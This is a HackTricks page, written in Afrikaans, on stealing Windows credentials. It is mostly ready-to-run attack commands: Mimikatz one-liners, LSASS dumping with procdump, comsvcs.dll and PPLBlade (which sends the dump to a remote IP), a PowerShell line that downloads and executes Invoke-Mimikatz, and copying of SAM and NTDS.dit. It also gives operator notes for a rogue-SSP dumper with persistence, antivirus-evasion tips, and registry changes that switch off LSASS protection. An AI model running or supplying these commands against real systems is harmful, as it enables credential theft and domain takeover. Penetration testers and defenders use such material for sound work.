Diefstal van Windows Credentials
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Credentials Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Vind ander dinge wat Mimikatz kan doen in this page.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Learn about some possible credentials protections here. Hierdie beskermings kan voorkom dat Mimikatz sekere credentials ontrek.
Credentials met Meterpreter
Gebruik die Credentials Plugin wat ek geskep het om na passwords en hashes te soek binne die slagoffer.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Bypassing AV
Procdump + Mimikatz
Aangesien Procdump from SysInternals is ân legitieme Microsoft hulpmiddel, word dit nie deur Defender opgespoor nie.
Jy kan hierdie hulpmiddel gebruik om dump the lsass process, download the dump en extract die credentials locally vanaf die dump.
Jy kan ook SharpDump gebruik.
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
Hierdie proses word outomaties uitgevoer met SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Note: Sommige AV mag detect as malicious die gebruik van procdump.exe to dump lsass.exe; dit is omdat hulle detecting die string âprocdump.exeâ and âlsass.exeâ. Dus is dit stealthier om as ân argument die PID van lsass.exe aan procdump te pass instead of die name lsass.exe.
Dumping lsass with comsvcs.dll
ân DLL met die naam comsvcs.dll wat gevind word in C:\Windows\System32 is verantwoordelik vir dumping process memory in die geval van ân crash. Hierdie DLL bevat ân function met die naam MiniDumpW, bedoel om via rundll32.exe aangeroep te word.
Dit is onbelangrik wat vir die eerste twee argumente gebruik word, maar die derde een is in drie komponente verdeel. Die process ID wat gedump moet word is die eerste komponent, die dump-lĂȘer se ligging is die tweede, en die derde komponent is uitsluitlik die woord full. Geen alternatiewe opsies bestaan nie.
Wanneer die DLL hierdie drie komponente ontleed, begin dit die dump-lĂȘer skep en die geheue van die gespesifiseerde proses na hierdie lĂȘer oordra.
Gebruik van comsvcs.dll is geskik om die lsass-proses te dump, wat dus die behoefte om procdump op te laai en uit te voer oorskiet. Hierdie metode word in detail beskryf by https://en.hackndo.com/remote-lsass-dump-passwords/.
Die volgende opdrag word gebruik om dit uit te voer:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Jy kan hierdie proses outomatiseer met lssasy.
Dumping lsass with Task Manager
- Regsklik op die Task Bar en klik op Task Manager
- Klik op More details
- Soek na âLocal Security Authority Processâ proses in die Processes tab
- Regsklik op âLocal Security Authority Processâ proses en klik op âCreate dump fileâ.
Dumping lsass with procdump
Procdump is ân Microsoft-ondertekende binĂȘre wat deel is van die sysinternals suite.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Dumpin lsass with PPLBlade
PPLBlade is ân Protected Process Dumper Tool wat obfuscating van memory dumps en die transferring daarvan na remote workstations ondersteun sonder om dit op die disk neer te sit.
Belangrikste funksies:
- Bypassing PPL protection
- Obfuscating memory dump files to evade Defender signature-based detection mechanisms
- Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
LalsDumper â SSP-based LSASS dumping sonder MiniDumpWriteDump
Ink Dragon verskaf ân drie-fase dumper genaamd LalsDumper wat nooit MiniDumpWriteDump aanroep nie, sodat EDR hooks op daardie API nooit afvuur:
- Fase 1 lader (
lals.exe) â soekfdp.dllvir ân plaashouer wat uit 32 kleind-karakters bestaan, oorskryf dit met die absolute pad nartu.txt, stoor die gepatchte DLL asnfdp.dll, en roepAddSecurityPackageA("nfdp","fdp")aan. Dit dwing LSASS om die kwaadwillige DLL as ân nuwe Security Support Provider (SSP) te laai. - Fase 2 binne LSASS â wanneer LSASS
nfdp.dlllaai, lees die DLLrtu.txt, XOR elke byte met0x20, en map die gedekodeerde blob in geheue voordat dit die uitvoering oordra. - Fase 3 dumper â die gemapte payload her-implementeer MiniDump-logika met behulp van direct syscalls wat opgelos is vanaf gehashede API-name (
seed = 0xCD7815D6; h ^= (ch + ror32(h,8))). ân Toegewyde export genaamdTomopen%TEMP%\<pid>.ddt, stroom ân gekompresseerde LSASS dump in die lĂȘer, en sluit die handle sodat eksfiltrasie later kan plaasvind.
Operateur notas:
- Hou
lals.exe,fdp.dll,nfdp.dll, enrtu.txtin dieselfde gids. Fase 1 herskryf die hard-gekodeerde plaashouer met die absolute pad nartu.txt, so om dit te skei breek die ketting. - Registrasie gebeur deur
nfdpby te voeg totHKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Jy kan daardie waarde self voorsien om LSASS te laat herlaai die SSP by elke opstart. %TEMP%\*.ddtlĂȘers is gekompresseerde dumps. Pak dit lokaal uit, en voer dit dan na Mimikatz/Volatility vir credential onttrekking.- Om
lals.exete hardloop vereis admin/SeTcb-regte sodatAddSecurityPackageAslaag; sodra die oproep terugkeer, laai LSASS deursigtig die rogue SSP en voer Fase 2 uit. - Verwydering van die DLL van skyffstoor verwyder dit nie uit LSASS nie. Verwyder Ăłf die registerinskrywing en herbegin LSASS (reboot) Ăłf laat dit vir langtermyn persistence.
CrackMapExec
Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Dump die NTDS.dit vanaf teiken DC
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Dump die NTDS.dit wagwoordgeskiedenis vanaf die geteikende DC
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Wys die pwdLastSet-attribuut vir elke NTDS.dit-rekening
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Stealing SAM & SYSTEM
Hierdie lĂȘers behoort geleĂ« te wees in C:\windows\system32\config\SAM en C:\windows\system32\config\SYSTEM. Maar jy kan hulle nie net op ân gewone manier kopieer nie, omdat hulle beskerm is.
Vanaf die Register
Die maklikste manier om daardie lĂȘers te steel is om ân kopie uit die register te kry:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Laai daardie lĂȘers na jou Kali-masjien en onttrek die hashes met behulp van:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Jy kan ân kopie van beskermde lĂȘers maak met behulp van hierdie diens. Jy moet Administrator wees.
Gebruik van vssadmin
Die vssadmin-binarie is slegs beskikbaar in Windows Server-weergawes
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Maar jy kan dieselfde doen vanaf Powershell. Dit is ân voorbeeld van hoe om die SAM file te kopieer (die hardeskyf wat gebruik word is âC:â en dit word gestoor na C:\users\Public) maar jy kan dit gebruik om enige beskermde lĂȘer te kopieer:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}
Kode uit die boek: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
Laastens kan jy ook die PS script Invoke-NinjaCopy gebruik om ân kopie van SAM, SYSTEM en ntds.dit te maak.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Kredensiale - NTDS.dit
Die NTDS.dit-lĂȘer staan bekend as die hart van Active Directory, en bevat kritieke data oor gebruikersobjekte, groepe en hul lidmaatskappe. Dit is waar die password hashes vir domeingebruikers gestoor word. Hierdie lĂȘer is ân Extensible Storage Engine (ESE) databasis en lĂȘ by %SystemRoom%/NTDS/ntds.dit.
Binnen hierdie databasis word drie primĂȘre tabelle bewaar:
- Data Table: Hierdie tabel is verantwoordelik vir die stoor van besonderhede oor objekte soos gebruikers en groepe.
- Link Table: Dit hou rekord van verhoudings, soos groepslidmaatskappe.
- SD Table: Security descriptors vir elke objek word hier gehou, wat die beveiliging en toegangbeheer vir die gestoorde objekte verseker.
Meer inligting hieroor: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows gebruik Ntdsa.dll om met daardie lĂȘer te kommunikeer en dit word deur lsass.exe gebruik. Dan kan ân deel van die NTDS.dit-lĂȘer in die lsass-geheue wees (jy kan moontlik die mees onlangs aangesproke data vind weens prestasieverbetering deur die gebruik van ân cache).
Ontsleuteling van die hashes binne NTDS.dit
Die hash is 3 keer versleutel:
- Ontsleutel Password Encryption Key (PEK) met die BOOTKEY en RC4.
- Ontsleutel die hash met PEK en RC4.
- Ontsleutel die hash met DES.
PEK het dieselfde waarde op elke domain controller, maar dit is versleutel in die NTDS.dit-lĂȘer met behulp van die BOOTKEY van die SYSTEM-lĂȘer van die domain controller (dit verskil tussen domain controllers). Dit is waarom om die kredensiale uit die NTDS.dit-lĂȘer te kry, jy die lĂȘers NTDS.dit en SYSTEM nodig het (C:\Windows\System32\config\SYSTEM).
Kopieer NTDS.dit met Ntdsutil
Beskikbaar sedert Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Jy kan ook die volume shadow copy truuk gebruik om die ntds.dit file te kopieer. Onthou dat jy ook ân kopie van die SYSTEM file nodig sal hĂȘ (weer, dump it from the registry or use the volume shadow copy truuk).
Onttrekking van hashes uit NTDS.dit
Sodra jy die NTDS.dit en SYSTEM lĂȘers verkry het, kan jy gereedskap soos secretsdump.py gebruik om die hashes te onttrek:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Jy kan ook hulle outomaties onttrek met ân geldige domain admin user:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Vir groot NTDS.dit-lĂȘers word aanbeveel om dit met gosecretsdump uit te trek.
Laastens kan jy ook die metasploit module gebruik: post/windows/gather/credentials/domain_hashdump of mimikatz lsadump::lsa /inject
Uittrekking van domeinobjekte uit NTDS.dit na ân SQLite-databasis
NTDS-objekte kan na ân SQLite-databasis uitgehaal word met ntdsdotsqlite. Nie net die secrets word uitgehaal nie, maar ook die volledige objekte en hul attribuutte vir verdere inligtingsekstraksie wanneer die rou NTDS.dit-lĂȘer reeds verkry is.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
Die SYSTEM hive is opsioneel maar maak ontsleuteling van secrets moontlik (NT & LM hashes, supplemental credentials soos cleartext passwords, kerberos of trust keys, NT & LM password histories). Saam met ander inligting word die volgende data onttrek : user- en machine-accounts met hul hashes, UAC flags, tydstempel vir laaste logon en wagwoordverandering, rekeningbeskrywings, name, UPN, SPN, groepe en recursive memberships, organisasie-eenhedeboom en lidmaatskap, trusted domains met trusts type, direction en attributesâŠ
Lazagne
Download the binary from here. Jy kan hierdie binary gebruik om credentials uit verskeie software te onttrek.
lazagne.exe all
Ander gereedskap om credentials uit SAM en LSASS te onttrek
Windows credentials Editor (WCE)
Hierdie hulpmiddel kan gebruik word om credentials uit die geheugen te onttrek. Laai dit af van: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Onttrek credentials uit die SAM-lĂȘer
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Ekstraheer credentials uit die SAM-lĂȘer
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Download it from: http://www.tarasco.org/security/pwdump_7 and just execute it and the passwords will be extracted.
Ontgin onaktiewe RDP-sessies en verswak sekuriteitskontroles
Ink Dragonâs FinalDraft RAT bevat DumpRDPHistory tasker waarvan die tegnieke handig is vir enige red-teamer:
DumpRDPHistory-styl telemetrie-insameling
- Outbound RDP targets â ontleed elke gebruikershive by
HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*. Elke subkey stoor die servernaam,UsernameHint, en die laaste skryftydstempel. Jy kan FinalDraftâs logika repliseer met PowerShell:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
- Inbound RDP evidence â query the
Microsoft-Windows-TerminalServices-LocalSessionManager/Operationallog for Event IDs 21 (successful logon) and 25 (disconnect) to map who administered the box:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
Sodra jy weet watter Domain Admin gereeld koppel, dump LSASS (with LalsDumper/Mimikatz) terwyl hul disconnected sessie nog bestaan. CredSSP + NTLM fallback laat hul verifier en tokens in LSASS agter, wat dan oor SMB/WinRM herafgespeel kan word om NTDS.dit te gryp of om persistentie op domain controllers te plaas.
Register-downgrades wat deur FinalDraft geteiken word
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
- Instelling van
DisableRestrictedAdmin=1dwing volwaardige credential/ticket-hergebruik tydens RDP af, wat pass-the-hash style pivots moontlik maak. LocalAccountTokenFilterPolicy=1skakel UAC token-filtering af sodat local admins onbeperkte tokens oor die netwerk kry.DSRMAdminLogonBehavior=2laat die DSRM administrator aanmeld terwyl die DC aanlyn is, wat aanvallers nog ân ingeboude rekening met hoĂ« bevoegdhede gee.RunAsPPL=0verwyder LSASS PPL-beskerming, wat memory access triviaal maak vir dumpers soos LalsDumper.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

